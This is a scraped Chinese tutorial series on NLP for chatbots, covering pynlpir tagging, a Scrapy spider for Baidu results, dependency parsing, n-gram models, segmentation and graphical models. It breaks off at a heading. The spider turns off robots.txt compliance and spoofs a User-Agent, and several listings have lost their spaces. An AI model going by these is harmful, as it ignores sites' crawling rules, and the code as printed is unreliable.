      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      POS_MAP = {
      'n': ('名词', 'noun', {
      'nr': ('人名', 'personal name', {
      'nr1': ('汉语姓氏', 'Chinese surname'),
      'nr2': ('汉语名字', 'Chinese given name'),
      'nrj': ('日语人名', 'Japanese personal name'),
      'nrf': ('音译人名', 'transcribed personal name')
      }),
      'ns': ('地名', 'toponym', {
      'nsf': ('音译地名', 'transcribed toponym'),
      }),
      'nt': ('机构团体名', 'organization/group name'),
      'nz': ('其它专名', 'other proper noun'),
      'nl': ('名词性惯用语', 'noun phrase'),
      'ng': ('名词性语素', 'noun morpheme'),
      }),
      't': ('时间词', 'time word', {
      'tg': ('时间词性语素', 'time morpheme'),
      }),
      's': ('处所词', 'locative word'),
      'f': ('方位词', 'noun of locality'),
      'v': ('动词', 'verb', {
      'vd': ('副动词', 'auxiliary verb'),
      'vn': ('名动词', 'noun-verb'),
      'vshi': ('动词"是"', 'verb 是'),
      'vyou': ('动词"有"', 'verb 有'),
      'vf': ('趋向动词', 'directional verb'),
      'vx': ('行事动词', 'performative verb'),
      'vi': ('不及物动词', 'intransitive verb'),
      'vl': ('动词性惯用语', 'verb phrase'),
      'vg': ('动词性语素', 'verb morpheme'),
      }),
      'a': ('形容词', 'adjective', {
      'ad': ('副形词', 'auxiliary adjective'),
      'an': ('名形词', 'noun-adjective'),
      'ag': ('形容词性语素', 'adjective morpheme'),
      'al': ('形容词性惯用语', 'adjective phrase'),
      }),
      'b': ('区别词', 'distinguishing word', {
      'bl': ('区别词性惯用语', 'distinguishing phrase'),
      }),
      'z': ('状态词', 'status word'),
      'r': ('代词', 'pronoun', {
      'rr': ('人称代词', 'personal pronoun'),
      'rz': ('指示代词', 'demonstrative pronoun', {
      'rzt': ('时间指示代词', 'temporal demonstrative pronoun'),
      'rzs': ('处所指示代词', 'locative demonstrative pronoun'),
      'rzv': ('谓词性指示代词', 'predicate demonstrative pronoun'),
      }),
      'ry': ('疑问代词', 'interrogative pronoun', {
      'ryt': ('时间疑问代词', 'temporal interrogative pronoun'),
      'rys': ('处所疑问代词', 'locative interrogative pronoun'),
      'ryv': ('谓词性疑问代词', 'predicate interrogative pronoun'),
      }),
      'rg': ('代词性语素', 'pronoun morpheme'),
      }),
      'm': ('数词', 'numeral', {
      'mq': ('数量词', 'numeral-plus-classifier compound'),
      }),
      'q': ('量词', 'classifier', {
      'qv': ('动量词', 'verbal classifier'),
      'qt': ('时量词', 'temporal classifier'),
      }),
      'd': ('副词', 'adverb'),
      'p': ('介词', 'preposition', {
      'pba': ('介词“把”', 'preposition 把'),
      'pbei': ('介词“被”', 'preposition 被'),
      }),
      'c': ('连词', 'conjunction', {
      'cc': ('并列连词', 'coordinating conjunction'),
      }),
      'u': ('助词', 'particle', {
      'uzhe': ('着', 'particle 着'),
      'ule': ('了/喽', 'particle 了/喽'),
      'uguo': ('过', 'particle 过'),
      'ude1': ('的/底', 'particle 的/底'),
      'ude2': ('地', 'particle 地'),
      'ude3': ('得', 'particle 得'),
      'usuo': ('所', 'particle 所'),
      'udeng': ('等/等等/云云', 'particle 等/等等/云云'),
      'uyy': ('一样/一般/似的/般', 'particle 一样/一般/似的/般'),
      'udh': ('的话', 'particle 的话'),
      'uls': ('来讲/来说/而言/说来', 'particle 来讲/来说/而言/说来'),
      'uzhi': ('之', 'particle 之'),
      'ulian': ('连', 'particle 连'),
      }),
      'e': ('叹词', 'interjection'),
      'y': ('语气词', 'modal particle'),
      'o': ('拟声词', 'onomatopoeia'),
      'h': ('前缀', 'prefix'),
      'k': ('后缀' 'suffix'),
      'x': ('字符串', 'string', {
      'xe': ('Email字符串', 'email address'),
      'xs': ('微博会话分隔符', 'hashtag'),
      'xm': ('表情符合', 'emoticon'),
      'xu': ('网址URL', 'URL'),
      'xx': ('非语素字', 'non-morpheme character'),
      }),
      'w': ('标点符号', 'punctuation mark', {
      'wkz': ('左括号', 'left parenthesis/bracket'),
      'wky': ('右括号', 'right parenthesis/bracket'),
      'wyz': ('左引号', 'left quotation mark'),
      'wyy': ('右引号', 'right quotation mark'),
      'wj': ('句号', 'period'),
      'ww': ('问号', 'question mark'),
      'wt': ('叹号', 'exclamation mark'),
      'wd': ('逗号', 'comma'),
      'wf': ('分号', 'semicolon'),
      'wn': ('顿号', 'enumeration comma'),
      'wm': ('冒号', 'colon'),
      'ws': ('省略号', 'ellipsis'),
      'wp': ('破折号', 'dash'),
      'wb': ('百分号千分号', 'percent/per mille sign'),
      'wh': ('单位符号', 'unit of measure sign'),
      }),
      }

      好,这回我们一下子完成了分词、词性标注、关键词提取。命名实体识别、句法分析以及查询问句分类我们之后再研究

      输出文本,输出提切结果,

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      # coding:utf-8
      import sys
      reload(sys)
      sys.setdefaultencoding( "utf-8" )
      import pynlpir
      pynlpir.open()
      s = raw_input('请输入语句:')
      segments = pynlpir.segment(s, pos_names='all', pos_english=False)
      for segment in segments:
      print segment[0], '\t', segment[1]
      key_words = pynlpir.get_key_words(s, weighted=True)
      for key_word in key_words:
      print key_word[0], '\t', key_word[1]
      pynlpir.close()

      0字节存储海量语料资源

      基于语料做机器学习需要海量数据支撑,如何能不存一点数据获取海量数据呢?我们可以以互联网为强大的数据后盾,搜索引擎为我们提供了高效的数据获取来源,结构化的搜索结果展示为我们实现了天然的特征基础,唯一需要我们做的就是在海量结果中选出我们需要的数据,本节我们来探索如何利用互联网拿到我们所需的语料资源

      关键词提取

      互联网资源无穷无尽,如何获取到我们所需的那部分语料库呢?这需要我们给出特定的关键词,而基于问句的关键词提取上一节已经做了介绍,利用pynlpir库可以非常方便地实现关键词提取,比如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importpynlpir
      pynlpir.open()
      s ='怎么才能把电脑里的垃圾文件删除'
      key_words = pynlpir.get_key_words(s, weighted=True)
      forkey_wordinkey_words:
      printkey_word[0],'\t', key_word[1]
      pynlpir.close()

      提取出的关键词如下:

      1
      2
      3
      4
      电脑 2.0
      垃圾 2.0
      文件 2.0
      删除 1.0

      我们基于这四个关键词来获取互联网的资源就可以得到我们所需要的语料信息

      充分利用搜索引擎

      有了关键词,想获取预料信息,还需要知道几大搜索引擎的调用接口,首先我们来探索一下百度,百度的接口是这样的:

      https://www.baidu.com/s?wd=机器学习 数据挖掘 信息检索

      把wd参数换成我们的关键词就可以拿到相应的结果,我们用程序来尝试一下:

      首先创建scrapy工程,执行:

      1
      scrapy startproject baidu_search

      自动生成了baidu_search目录和下面的文件(不知道怎么使用scrapy,请见我的文章教你成为全栈工程师(Full Stack Developer) 三十-十分钟掌握最强大的python爬虫)

      创建baidu_search/baidu_search/spiders/baidu_search.py文件,内容如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importscrapy
      classBaiduSearchSpider(scrapy.Spider):
      name ="baidu_search"
      allowed_domains = ["baidu.com"]
      start_urls = [
      "https://www.baidu.com/s?wd=机器学习"
      ]
      defparse(self, response):
      printresponse.body

      这样我们的抓取器就做好了,进入baidu_search/baidu_search/目录,执行:

      1
      scrapy crawl baidu_search

      我们发现返回的数据是空,下面我们修改配置来解决这个问题,修改settings.py文件,把ROBOTSTXT_OBEY改为

      1
      ROBOTSTXT_OBEY = False

      并把USER_AGENT设置为:

      1
      USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'

      为了避免抓取hang住,我们添加如下超时设置:

      1
      DOWNLOAD_TIMEOUT = 5

      再次执行

      1
      scrapy crawl baidu_search

      这次终于可以看到大片大片的html了,我们临时把他写到文件中,修改parse()函数如下:

      1
      2
      3
      4
      def parse(self, response):
      filename = "result.html"
      with open(filename, 'wb') as f:
      f.write(response.body)

      重新执行后生成了result.html,我们用浏览器打开本地文件。

      语料提取

      上面得到的仅是搜索结果,它只是一种索引,真正的内容需要进入到每一个链接才能拿到,下面我们尝试提取出每一个链接并继续抓取里面的内容,那么如何提取链接呢,我们来分析一下result.html这个抓取百度搜索结果文件

      我们可以看到,每一条链接都是嵌在class=c-container这个div里面的一个h3下的a标签的href属性

      所以我们的提取规则就是:

      1
      hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()

      修改parse()函数并添加如下代码:

      1
      2
      3
      hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()
      forhrefinhrefs:
      printhref

      执行打印出:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      ......
      2017-08-21 22:26:17 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://www.baidu.com/s?wd=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0> (referer: None)
      http://www.baidu.com/link?url=evTTw58FTb9_-gGNUuOgv3_coiSBhpi-4ZQKoLQZvPXbsj3kfzROuH4cm1CxPqSqWl_E1vamGMyOHAO1G3jXEMyXoF0fHSbGmWzX99tDkCnTLIrR8-oysqnEb7VzI2EC
      http://www.baidu.com/link?url=T0QwDAL_1ypuWLshTeFSh9Tkl3wQVwQFaY_sjIRY1G7TaBq2YC1SO2T2mLsLTiC2tFJ878OihtiIkEgepJNG-q
      http://www.baidu.com/link?url=xh1H8nE-T4CeAq_A3hGbNwHfDKs6K7HCprH6DrT29yv6vc3t_DSk6zq7_yekiL_iyd9rGxMSONN_wJDwpjqNAK
      http://www.baidu.com/link?url=LErVCtq1lVKbh9QAAjdg37GW1_B3y8g_hjoafChZ90ycuG3razgc9X_lE4EgiibkjzCPImQOxTl-b5LOwZshtxSf7sCTOlBpLRjcMyG2Fc7
      http://www.baidu.com/link?url=vv_KA9CNJidcGTV1SE096O9gXqVC7yooCDMVvCXg9Vg22nZW2eBIq9twWSFh17VVYqNJ26wkRJ7XKuTsD3-qFDdi5_v-AZZrDeNI07aZaYG
      http://www.baidu.com/link?url=dvMowOWWPV3kEZxzy1q7W2OOBuph0kI7FuZTwp5-ejsU-f-Aiif-Xh7U4zx-qoKW_O1fWVwutJuOtEWr2A7cwq
      http://www.baidu.com/link?url=evTTw58FTb9_-gGNUuOgvHC_aU-RmA0z8vc7dTH6-tgzMKuehldik7N_vi0s4njGvLo13id-kuGnVhhmfLV3051DpQ7CLO22rKxCuCicyTe
      http://www.baidu.com/link?url=QDkm6sUGxi-qYC6XUYR2SWB_joBm_-25-EXUSyLm9852gQRu41y-u_ZPG7SKhjs6U_l99ZcChBNXz4Ub5a0RJa
      http://www.baidu.com/link?url=Y9Qfk4m6Hm8gQ-7XgUzAl5b-bgxNOBn_e_7v9g6XHmsZ_4TK8Mm1E7ddQaDUAdSCxjgJ_Ao-vYA6VZjfVuIaX58PlWo_rV8AqhVrDA1Bd0W
      http://www.baidu.com/link?url=X7eU-SPPEylAHBTIGhaET0DEaLEaTYEjknjI2_juK7XZ2D2eb90b1735tVu4vORourw_E68sZF8P2O4ghTVcQa
      2017-08-21 22:26:17 [scrapy.core.engine] INFO: Closing spider (finished)
      ...

      下面我们把这些url添加到抓取队列中继续抓取,修改baidu_search.py文件,如下:

      1
      2
      3
      4
      5
      6
      7
      def parse(self, response):
      hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()
      for href in hrefs:
      yield scrapy.Request(href, callback=self.parse_url)
      def parse_url(self, response):
      print len(response.body)

      抓取效果如下:

      1
      2
      3
      4
      5
      6
      7
      8
      2017-08-21 22:29:50 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://www.baidu.com/s?wd=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0> (referer: None)
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://www.leiphone.com/news/201609/SJGulTsdGcisR8Wz.html> from <GET http://www.baidu.com/link?url=iQ6rC78zm48BmQQ2GcK8ffphKCITxraUEcyS1waz7_yn5JLl5ZJgKerMXO1yQozfC9vxN0C89iU0Rd2nwEFXoEj1doqsbCupuDARBEtlHW3>
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://blog.jobbole.com/tag/machinelearning/> from <GET http://www.baidu.com/link?url=XIi6gyYcL8XtxD7ktWfZssm0Z2nO-TY5xzrHI8TLOMnUWj8a9u4swB3KI66yhT4wrqXhjxyRq95s5PkHlsplwq>
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET https://www.zhihu.com/question/33892253> from <GET http://www.baidu.com/link?url=tP0PBScNvaht7GL1qoJCQQzfNpdmDK_Cw5FNF3xVwluaYwlLjWxEzgtFalHtai1KNd7XD4h54LlrmI2ZGgottK>
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://open.163.com/special/opencourse/machinelearning.html> from <GET http://www.baidu.com/link?url=vZdsoRD6urZDhxJGRHNJJ7vSeTfI8mdkH0F01gkG24x9hj5HjiWPU7bsdDtJJMvEi-x4QIjX-hG5pQ4AWpeIq2u7NddTwiDDrXwRZF9_Sxe>
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://tieba.baidu.com/f?kw=%BB%FA%C6%F7%D1%A7%CF%B0&fr=ala0&tpl=5> from <GET http://www.baidu.com/link?url=nSVlWumopaJ_gz-bWMvVTQBtLY8E0LkwP3gPc86n26XQ9WDdlsI_1pNAVGa_4YSYoKpHiUy2qcBdJOvQuxcvEmBFPGufpbHsCA3ia2t_-HS>
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://tech.163.com/16/0907/07/C0BHQND400097U80.html> from <GET http://www.baidu.com/link?url=g7VePX8O7uHmJphvogYc6U8uMKbIbVSuFQAUw05fmD-tPTr4T9yvS4sbDZCZ8FYBelGq95nCpAJhghsiQf_hoq>
      2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET https://www.zhihu.com/question/20691338> from <GET http://www.baidu.com/link?url=pjwLpE4UAddN9It0yK3-Ypr6MDcAciWoNMBb5GOnX0-Xi-vV3A1ZbWv32oCRwMoIKwa__pPdOxVTzrCu7d9zz_>

      看起来能够正常抓取啦,下面我们把抓取下来的网页提取出正文并尽量去掉标签,如下:

      1
      2
      defparse_url(self, response):
      printremove_tags(response.selector.xpath('//body').extract()[0])

      下面,我们希望把百度搜索结果中的摘要也能够保存下来作为我们语料的一部分,如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      defparse(self, response):
      hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()
      containers = response.selector.xpath('//div[contains(@class, "c-container")]')
      forcontainerincontainers:
      href = container.xpath('h3/a/@href').extract()[0]
      title = remove_tags(container.xpath('h3/a').extract()[0])
      c_abstract = container.xpath('div/div/div[contains(@class, "c-abstract")]').extract()
      abstract =""
      iflen(c_abstract) >0:
      abstract = remove_tags(c_abstract[0])
      request = scrapy.Request(href, callback=self.parse_url)
      request.meta['title'] = title
      request.meta['abstract'] = abstract
      yieldrequest
      defparse_url(self, response):
      print"url:", response.url
      print"title:", response.meta['title']
      print"abstract:", response.meta['abstract']
      content = remove_tags(response.selector.xpath('//body').extract()[0])
      print"content_len:", len(content)

      解释一下,首先我们在提取url的时候顺便把标题和摘要都提取出来,然后通过scrapy.Request的meta传递到处理函数parse_url中,这样在抓取完成之后也能接到这两个值,然后提取出content,这样我们想要的数据就完整了:url、title、abstract、content

      百度搜索数据几乎是整个互联网的镜像,所以你想要得到的答案,我们的语料库就是整个互联网,而我们完全借助于百度搜索引擎,不必提前存储任何资料,互联网真是伟大!

      之后这些数据想保存在什么地方就看后面我们要怎么处理了,欲知后事如何,且听下回分解

      教你如何利用强大的中文语言技术平台做依存句法和语义依存分析

      句法分析是自然语言处理中非常重要的环节,没有句法分析是无法让计算机理解语言的含义的,依存句法分析由法国语言学家在1959年提出,影响深远,并且深受计算机行业青睐,依存句法分析也是做聊天机器人需要解决的最关键问题之一,语义依存更是对句子更深层次的分析,当然,有可用的工具我们就不重复造轮子,本节介绍如何利用国内领先的中文语言技术平台实现句法分析

      什么是依存句法分析呢?

      叫的晦涩的术语,往往其实灰常简单,句法就是句子的法律规则,也就是句子里成分都是按照什么法律规则组织在一起的。而依存句法就是这些成分之间有一种依赖关系。什么是依赖:没有你的话,我存在就是个错误。“北京是中国的首都”,如果没有“首都”,那么“中国的”存在就是个错误,因为“北京是中国的”表达的完全是另外一个意思了。

      什么是语义依存分析呢?

      “语义”就是说句子的含义,“张三昨天告诉李四一个秘密”,那么语义包括:谁告诉李四秘密的?张三。张三告诉谁一个秘密?李四。张三什么时候告诉的?昨天。张三告诉李四什么?秘密。

      语义依存和依存句法的区别

      依存句法强调介词、助词等的划分作用,语义依存注重实词之间的逻辑关系

      另外,依存句法随着字面词语变化而不同,语义依存不同字面词语可以表达同一个意思,句法结构不同的句子语义关系可能相同。

      依存句法分析和语义依存分析对我们的聊天机器人有什么意义呢?

      依存句法分析和语义分析相结合使用,对对方说的话进行依存和语义分析后,一方面可以让计算机理解句子的含义,从而匹配到最合适的回答,另外如果有已经存在的依存、语义分析结果,还可以通过置信度匹配来实现聊天回答。

      依存句法分析到底是怎么分析的呢?

      依存句法分析的基本任务是确定句式的句法结构(短语结构)或句子中词汇之间的依存关系。依存句法分析最重要的两棵树:

      依存树:子节点依存于父节点

      依存投射树:实线表示依存联结关系,位置低的成分依存于位置高的成分,虚线为投射线

      image

      依存关系的五条公理

      1. 一个句子中只有一个成分是独立的

      2. 其他成分直接依存于某一成分

      3. 任何一个成分都不能依存于两个或两个以上的成分

      4. 如果A成分直接依存于B成分,而C成分在句子中位于A和B之间,那么C或者直接依存于B,或者直接依存于A和B之间的某一成分

      5. 中心成分左右两面的其他成分相互不发生关系

      什么地方存在依存关系呢?比如合成词(如:国内)、短语(如:英雄联盟)很多地方都是

      LTP依存关系标记

      关系简称全程示例
      主谓关系SBVsubject-verb我送她一束花 (我 <– 送)
      动宾关系VOB 直接宾语verb-object我送她一束花 (送 –> 花)
      间宾关系IOB 间接宾语indirect-object我送她一束花 (送 –> 她)
      前置宾语FOB 前置宾语fronting-object他什么书都读 (书 <– 读)
      兼语DBLdouble他请我吃饭 (请 –> 我)
      定中关系ATTattribute红苹果 (红 <– 苹果)
      状中结构ADVadverbial非常美丽 (非常 <– 美丽)
      动补结构CMPcomplement做完了作业 (做 –> 完)
      并列关系COOcoordinate大山和大海 (大山 –> 大海)
      介宾关系POBpreposition-object在贸易区内 (在 –> 内)
      左附加关系LADleft adjunct大山和大海 (和 <– 大海)
      右附加关系RADright adjunct孩子们 (孩子 –> 们)
      独立结构ISindependent structure两个单句在结构上彼此独立
      核心关系HEDhead指整个句子的核心

      那么依存关系是怎么计算出来的呢?

      是通过机器学习和人工标注来完成的,机器学习依赖人工标注,那么都哪些需要我们做人工标注呢?分词词性、依存树库、语义角色都需要做人工标注,有了这写人工标注之后,就可以做机器学习来分析新的句子的依存句法了

      LTP云平台怎么用?

      http://www.ltp-cloud.com/

      把语言模型探究到底

      无论什么做自然语言处理的工具,都是基于计算机程序实现的,而计算机承担了数学计算的职责,那么自然语言和数学之间的联系就是语言模型,只有理解语言模型才能理解各种工具的实现原理,本节让我们深究语言模型的世界

      什么是数学模型

      数学模型是运用数理逻辑方法和数学语言建构的科学或工程模型。说白了,就是用数学的方式来解释事实。举个简单的例子:你有一只铅笔,又捡了一只,一共是两只,数学模型就是1+1=2。举个复杂的例子:你在路上每周能捡到3只铅笔,数学模型就是P(X)=3/7,这个数学模型可以帮你预测明天捡到铅笔的可能性。当然解释实事的数学模型不是唯一的,比如每周捡三只铅笔的数学模型还可能是P(qt=sj|qt-1=si,qt-2=sk,…),s=0,1,也就是有两个状态的马尔可夫模型,意思就是明天是否捡到铅笔取决于前几天有没有捡到铅笔

      什么是数学建模

      数学建模就是通过计算得到的结果来解释实际问题,并接受实际的检验,来建立数学模型的全过程。

      什么是语言模型

      语言模型是根据语言客观事实而进行的语言抽象数学建模。说白了,就是找到一个数学模型,让它来解释自然语言的事实。

      业界认可的语言模型

      业界目前比较认可而且有效的语言模型是n元语法模型(n-gram model),它本质上是马尔可夫模型,简单来描述就是:一句话中下一个词的出现和最近n个词有关(包括它自身)。详细解释一下:

      如果这里的n=1时,那么最新一个词只和它自己有关,也就是它是独立的,和前面的词没关系,这叫做一元文法

      如果这里的n=2时,那么最新一个词和它前面一个词有关,比如前面的词是“我”,那么最新的这个词是“是”的概率比较高,这叫做二元文法,也叫作一阶马尔科夫链

      依次类推,工程上n=3用的是最多的,因为n越大约束信息越多,n越小可靠性更高

      n元语法模型实际上是一个概率模型,也就是出现一个词的概率是多少,或者一个句子长这个样子的概率是多少。

      这就又回到了之前文章里提到的自然语言处理研究的两大方向:基于规则、基于统计。n元语法模型显然是基于统计的方向。

      概率是如何统计的

      说到基于统计,那么就要说概率是如何估计的了,通常都是使用最大似然估计,怎么样理解“最大似然估计”,最大似然就是最最最最最相似的,那么和谁相似,和历史相似,历史是什么样的?10个词里出现过2次,所以是2/10=1/5,所以经常听说过的“最大似然估计”就是用历史出现的频率来估计概率的方法。这么说就懂了吧?

      语言模型都有哪些困难

      1. 千变万化的自然语言导致的0概率问题

      基于统计的自然语言处理需要基于大量语料库进行,而自然语言千变万化,可以理解所有词汇的笛卡尔积,数量大到无法想象,有限的语料库是难以穷举语言现象的,因此n元语法模型会出现某一句话出现的概率为0的情况,比如我这篇博客在我写出来之前概率就是0,因为我是原创。那么这个0概率的问题如何解决呢?这就是业界不断在研究的数据平滑技术,也就是通过各种数学方式来让每一句话的概率都大于0。具体方法不列举,都是玩数学的,比较简单,无非就是加个数或者减个数或者做个插值平滑一下,效果上应用在不同特点的数据上各有千秋。平滑的方法确实有效,各种自然语言工具中都实现了,直接用就好了。

      2. 特定领域的特定词概率偏大问题

      每一种领域都会有一些词汇比正常概率偏大,比如计算机领域会经常出现“性能”、“程序”等词汇,这个解决办法可以通过缓存一些刚刚出现过的词汇来提高后面出现的概率来解决。当然这里面是有很多技巧的,我们并不是认为所有出现过的词后面概率都较大,而是会考虑这些词出现的频率和规律(如:词距)来预测。

      3. 单一语言模型总会有弊端

      还是因为语料库的不足,我们会融合多种语料库,但因为不同语料库之间的差异,导致我们用单一语言模型往往不够准确,因此,有一种方法可以缓和这种不准确性,那就是把多种语言模型混到一起来计算,这其实是一种折中,这种方法low且有效。

      还有一种方法就是用多种语言模型来分别计算,最后选择熵最大的一种,这其实也是一种折中,用在哪种地方就让哪种模型生效。

      神经网络语言模型

      21世纪以来,统计学习领域无论什么都要和深度学习搭个边,毕竟计算机计算能力提升了很多,无论多深都不怕。神经网络语言模型可以看做是一种特殊的模型平滑方式,本质上还是在计算概率,只不过通过深层的学习来得到更正确的概率。

      语言模型的应用

      这几乎就是自然语言处理的应用了,有:中文分词、机器翻译、拼写纠错、语音识别、音子转换、自动文摘、问答系统、OCR等

      探究中文分词的艺术

      中文是世界语言界的一朵奇葩,它天生把词连在一起,让计算机望而却步,一句#他说的确实在理#让计算机在#的确#、#实在#、#确实#里面挣扎,但是统计自然语言处理却让计算机有了智能

      中文分词是怎么走到今天的

      话说上个世纪,中文自动分词还处于初级阶段,每句话都要到汉语词表中查找,有没有这个词?有没有这个词?所以研究集中在:怎么查找最快、最全、最准、最狠……,所以就出现了正向最大匹配法、逆向最大匹配法、双向扫描法、助词遍历法……,用新世纪比较流行的一个词来形容就是:你太low了!

      中文自动分词最难的两个问题:1)歧义消除;2)未登陆词识别。说句公道话,没有上个世纪那么low的奠定基础,也就没有这个世纪研究重点提升到这两个高级的问题

      ps:未登录词就是新词,词表里没有的词

      本世纪计算机软硬件发展迅猛,计算量存储量都不再是问题,因此基于统计学习的自动分词技术成为主流,所以就出现了各种新分词方法,也更适用于新世纪文本特点

      从n元语法模型开始说起

      上节讲到了n元语法模型,在前n-1个词出现的条件下,下一个词出现的概率是有统计规律的,这个规律为中文自动分词提供了统计学基础,所以出现了这么几种统计分词方法:N-最短路径分词法、基于n元语法模型的分词法

      N-最短路径分词法其实就是一元语法模型,每个词成为一元,独立存在,出现的概率可以基于大量语料统计得出,比如“确实”这个词出现概率的0.001(当然这是假设,别当真),我们把一句话基于词表的各种切词结果都列出来,因为字字组合可能有很多种,所以有多个候选结果,这时我们利用每个词出现的概率相乘起来,得到的最终结果,谁最大谁就最有可能是正确的,这就是N-最短路径分词法。

      这里的N的意思是说我们计算概率的时候最多只考虑前N个词,因为一个句子可能很长很长,词离得远,相关性就没有那么强了

      这里的最短路径其实是传统最短路径的一种延伸,由加权延伸到了概率乘积

      而基于n元语法模型的分词法就是在N-最短路径分词法基础上把一元模型扩展成n元模型,也就是统计出的概率不再是一个词的概率,而是基于前面n个词的条件概率

      人家基于词,我来基于字

      由字构词的分词方法出现可以说是一项突破,发明者也因此得到了各项第一和很多奖项,那么这个著名的分词法是怎么做的呢?

      每个字在词语中都有一个构词位置:词首、词中、词尾、单独构词。根据一个字属于不同的构词位置,我们设计出来一系列特征,比如:前一个词、前两个词、前面词长度、前面词词首、前面词词尾、前面词词尾加上当前的字组成的词……

      我们基于大量语料库,利用平均感知机分类器对上面特征做打分,并训练权重系数,这样得出的模型就可以用来分词了,句子右边多出来一个字,用模型计算这些特征的加权得分,得分最高的就是正确的分词方法

      分词方法纵有千万种,一定有适合你的那一个

      分词方法很多,效果上一定是有区别的,基于n元语法模型的方法的优势在于词表里已有的词的分词效果,基于字构词的方法的优势在于未登陆词的识别,因此各有千秋,你适合哪个就用哪个。

      异性相吸,优势互补

      既然两种分词各有优缺点,那么就把他们结合起来吧,来个插值法折中一下,用过的人都说好

      流行分词工具都是用的什么分词方法

      jieba中文分词

      官方描述:

      • 基于前缀词典实现高效的词图扫描,生成句子中汉字所有可能成词情况所构成的有向无环图 (DAG)
      • 采用了动态规划查找最大概率路径, 找出基于词频的最大切分 组合
      • 对于未登录词,采用了基于汉字成词能力的 HMM 模型,使用了 Viterbi 算法

      前两句话是说它是基于词表的分词,最后一句是说它也用了由字构词,所以它结合了两种分词方法

      ik分词器

      基于词表的最短路径切词

      ltp云平台分词

      主要基于机器学习框架并部分结合词表的方法

      一篇文章读懂拿了图灵奖和诺贝尔奖的概率图模型

      概率图模型是概率论和图论的结合,经常见到的贝叶斯网络、马尔可夫模型、最大熵模型、条件随机场都属于概率图模型,这些模型有效的解决了很多实际问题,比如自然语言处理中的词性标注、实体识别等,书里的描述都公式纵横、晦涩难懂,我们不妨试试轻轻松松的来说一说概率图模型

      首先我们说说什么是图论

      能点进这篇文章说明你一定是有一定数学基础的,所以我做个比喻,你来看看是不是这么回事。糖葫芦吃过吧?几个山楂串在一根杆上,这其实就是一个图。

      稍稍正式一点说:图就是把一些孤立的点用线连起来,任何点之间都有可能连着。它区别于树,树是有父子关系,图没有。

      再深入一点点:从质上来说,图可以表达的某些事物之间的关联关系,也可以表达的是一种转化关系;从量上来说,它能表达出关联程度,也能表达出转化的可能性大小

      图论一般有什么用途呢?著名的七桥问题、四色问题、欧拉定理都是在图论基础上说事儿的

      再说说概率论

      概率论从中学到大学再到工作中都在学,它原理很简单:投个硬币出现人头的概率是1/2,最常用的就是条件概率P(B|A),联合概率P(A,B),贝叶斯公式:P(B|A)=P(A|B)P(B)/P(A),各种估计方法。

      提前解释一下概率图模型里的几个常见词汇

      贝叶斯(Bayes):无论什么理论什么模型,只要一提到他,那么里面一定是基于条件概率P(B|A)来做文章的。ps:贝叶斯老爷爷可是18世纪的人物,他的理论到现在还这么火,可见他的影响力绝不下于牛顿、爱因斯坦

      马尔可夫(Markov):无论什么理论什么模型,只要一提到他,那么里面一定有一条链式结构或过程,前n个值决定当前这个值,或者说当前这个值跟前n个值有关

      熵(entropy):熵有火字旁,本来是一个热力学术语,表示物质系统的混乱状态。延伸数学上表达的是一种不确定性。延伸到信息论上是如今计算机网络信息传输的基础理论,不确定性函数是f(p)=-logp,信息熵H(p)=-∑plogp。提到熵必须要提到信息论鼻祖香农(Shannon)

      场(field):只要在数学里见到场,它都是英文里的“域”的概念,也就是取值空间,如果说“随机场”,那么就表示一个随机变量能够赋值的全体空间

      再说概率图模型

      概率图模型一般是用图来说明,用概率来计算的。所以为了清晰的说明,我们每一种方法我尽量配个图,并配个公式。

      首先,为了脑子里有个体系,我们做一个分类,分成有向图模型和无向图模型,顾名思义,就是图里面的边是否有方向。那么什么样的模型的边有方向,而什么样的没方向呢?这个很好想到,有方向的表达的是一种推演关系,也就是在A的前提下出现了B,这种模型又叫做生成式模型。而没有方向表达的是一种“这样就对了”的关系,也就是A和B同时存在就对了,这种模型又叫做判别式模型。生成式模型一般用联合概率计算(因为我们知道A的前提了,可以算联合概率),判别式模型一般用条件概率计算(因为我们不知道前提,所以只能”假设”A条件下B的概率)。生成式模型的代表是:n元语法模型、隐马尔可夫模型、朴素贝叶斯模型等。判别式模型的代表是:最大熵模型、支持向量机、条件随机场、感知机模型等

      贝叶斯网络

